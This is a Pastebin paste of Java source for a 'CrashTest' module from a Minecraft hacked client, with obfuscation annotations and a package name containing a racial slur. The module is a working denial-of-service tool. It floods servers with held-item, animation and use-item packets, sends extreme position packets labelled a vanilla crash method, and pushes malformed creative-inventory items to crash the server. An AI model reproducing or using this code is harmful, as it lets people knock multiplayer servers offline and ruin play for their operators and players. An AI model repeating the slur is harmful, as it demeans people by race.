Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package black.nigger.rusherhack.Modules;
- import java.util.ArrayList;
- import java.util.Objects;
- import org.lwjgl.input.Keyboard;
- import com.darkmagician6.eventapi.EventManager;
- import com.stringer.annotations.HideAccess;
- import com.stringer.annotations.StringEncryption;
- import black.nigger.rusherhack.Wwefan;
- import black.nigger.rusherhack.Module.Category;
- import black.nigger.rusherhack.Module.Module;
- import black.nigger.rusherhack.utils.Wrapper;
- import de.Hero.settings.Setting;
- import net.minecraft.init.Blocks;
- import net.minecraft.item.Item;
- import net.minecraft.item.ItemStack;
- import net.minecraft.network.play.client.CPacketAnimation;
- import net.minecraft.network.play.client.CPacketCreativeInventoryAction;
- import net.minecraft.network.play.client.CPacketHeldItemChange;
- import net.minecraft.network.play.client.CPacketPlayer;
- import net.minecraft.network.play.client.CPacketPlayerTryUseItem;
- import net.minecraft.util.text.TextComponentString;
- @HideAccess
- @StringEncryption
- public class CrashTest extends Module {
- public static boolean active;
- int loop;
- public CrashTest() {
- super("CrashTest", "CrashTest", "", Keyboard.KEY_NONE, Category.World, -1);
- }
- public void setup() {
- ArrayList<String> modes = new ArrayList();
- modes.add("Lag 1");
- modes.add("Lag 2");
- modes.add("Lag 3");
- modes.add("Lag Shield");
- modes.add("Lag Vanilla");
- modes.add("Lag Creative");
- Wwefan.setmgr.rSetting(new Setting("LagIndex", this, 300, 0, 1000, false));
- Wwefan.setmgr.rSetting(new Setting("LagLoop", this, 100000, 50000, 1000000, false));
- Wwefan.setmgr.rSetting(new Setting("Lag", this, "Lag 1", modes));
- }
- public void onUpdate() {
- if (!this.getState()) {
- return;
- }
- // Wrapper.mc.player.connection.sendPacket(new CPacketPlayer.
- if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag 1")) {
- ++this.loop;
- if (this.loop > Wwefan.setmgr.getSettingByName("LagLoop").getValDouble()) {
- int index = 0;
- while (index < Wwefan.setmgr.getSettingByName("LagIndex").getValDouble()) {
- Wrapper.mc.player.connection.sendPacket(new CPacketHeldItemChange(2));
- Wrapper.mc.player.connection.sendPacket(new CPacketPlayer(true));
- Wrapper.mc.player.connection.sendPacket(new CPacketHeldItemChange(2));
- Wrapper.mc.player.connection.sendPacket(new CPacketPlayer(true));
- ++index;
- }
- this.loop = 0;
- Wrapper.mc.player.sendMessage(new TextComponentString("Sending Crash Packets"));
- }
- }
- if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag 2")) {
- }
- if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag 3")) {
- ++this.loop;
- if (this.loop > 6) {
- int spam = 0;
- while (spam < 100000) {
- Wrapper.mc.player.connection.sendPacket(new CPacketAnimation());
- ++spam;
- }
- this.loop = 0;
- Wrapper.mc.player.sendMessage(new TextComponentString("Sending packets..."));
- }
- }
- if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag Shield")) {
- ++this.loop;
- if (this.loop > 300) {
- int spam = 0;
- while (spam < 10000) {
- Wrapper.mc.player.connection.sendPacket(new CPacketPlayerTryUseItem());
- ++spam;
- }
- this.loop = 0;
- Wrapper.mc.player.sendMessage(new TextComponentString("Sending packets..."));
- }
- }
- }
- public void onEnable() {
- EventManager.register(this);
- if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag 1")) {
- active = true;
- int index = 0;
- while (index < Wwefan.setmgr.getSettingByName("LagIndex").getValDouble()) {
- Wrapper.mc.player.connection.sendPacket(new CPacketHeldItemChange(2));
- Wrapper.mc.player.connection.sendPacket(new CPacketPlayer(true));
- Wrapper.mc.player.connection.sendPacket(new CPacketHeldItemChange(2));
- Wrapper.mc.player.connection.sendPacket(new CPacketPlayer(true));
- ++index;
- }
- Wrapper.mc.player.sendMessage(new TextComponentString("Trying to crash with Item Switch method"));
- }
- if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag 2")) {
- active = true;
- int spam = 0;
- while (spam < 10000) {
- Wrapper.mc.player.connection.sendPacket(new CPacketAnimation());
- ++spam;
- }
- Wrapper.mc.player.sendMessage(new TextComponentString("Trying to lag with method 2"));
- }
- if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag 3")) {
- active = true;
- int spam = 0;
- while (spam < 200000) {
- Wrapper.mc.player.connection.sendPacket(new CPacketAnimation());
- ++spam;
- }
- Wrapper.mc.player.sendMessage(new TextComponentString("Trying to lag with method 3"));
- }
- if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag Vanilla")) {
- active = true;
- int index = 0;
- while (index < 999) {
- Wrapper.mc.player.connection
- .sendPacket(new CPacketPlayer.Position(Wrapper.mc.player.posX + (double) (99999 * index),
- Wrapper.mc.player.getEntityBoundingBox().minY + (double) (99999 * index),
- Wrapper.mc.player.posZ + (double) (99999 * index), true));
- ++index;
- }
- Wrapper.mc.player.sendMessage(new TextComponentString("Trying to crash with Vanilla method"));
- Wrapper.mc.player.sendMessage(new TextComponentString("Only works on vanilla servers"));
- }
- if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag Creative")) {
- active = true;
- Wrapper.mc.player.sendMessage(new TextComponentString("Trying to crash with Creative method"));
- Wrapper.mc.player.sendMessage(new TextComponentString("Make sure you are in creative"));
- ItemStack plant = new ItemStack(Blocks.BEDROCK);
- plant.setItemDamage(69);
- int index = 0;
- while (index < 9) {
- ItemStack is = Wrapper.mc.player.inventory.getStackInSlot(index);
- if (Objects.nonNull(is) && Item.getIdFromItem(is.getItem()) == 175 && is.getItemDamage() == 1337
- && is.getMaxStackSize() != 64) {
- Wrapper.mc.player.connection.sendPacket(
- new CPacketCreativeInventoryAction(Wrapper.mc.player.inventory.currentItem + 36, plant));
- Wrapper.mc.player.inventory.setInventorySlotContents(Wrapper.mc.player.inventory.currentItem,
- plant);
- }
- ++index;
- }
- if (Objects.isNull(Wrapper.mc.player.getHeldItem(null))) {
- Wrapper.mc.player.connection.sendPacket(
- new CPacketCreativeInventoryAction(Wrapper.mc.player.inventory.currentItem + 36, plant));
- Wrapper.mc.player.inventory.setInventorySlotContents(Wrapper.mc.player.inventory.currentItem, plant);
- }
- index = 0;
- while (index < 9) {
- if (Objects.isNull(Wrapper.mc.player.inventory.getStackInSlot(index))
- || Item.getIdFromItem(Wrapper.mc.player.inventory.getStackInSlot(index).getItem()) == 0) {
- Wrapper.mc.player.connection.sendPacket(new CPacketCreativeInventoryAction(index + 36, plant));
- }
- ++index;
- }
- Wrapper.mc.player.connection.sendPacket(
- new CPacketCreativeInventoryAction(Wrapper.mc.player.inventory.currentItem + 36, plant));
- }
- }
- public void onDisable() {
- EventManager.unregister(this);
- active = false;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement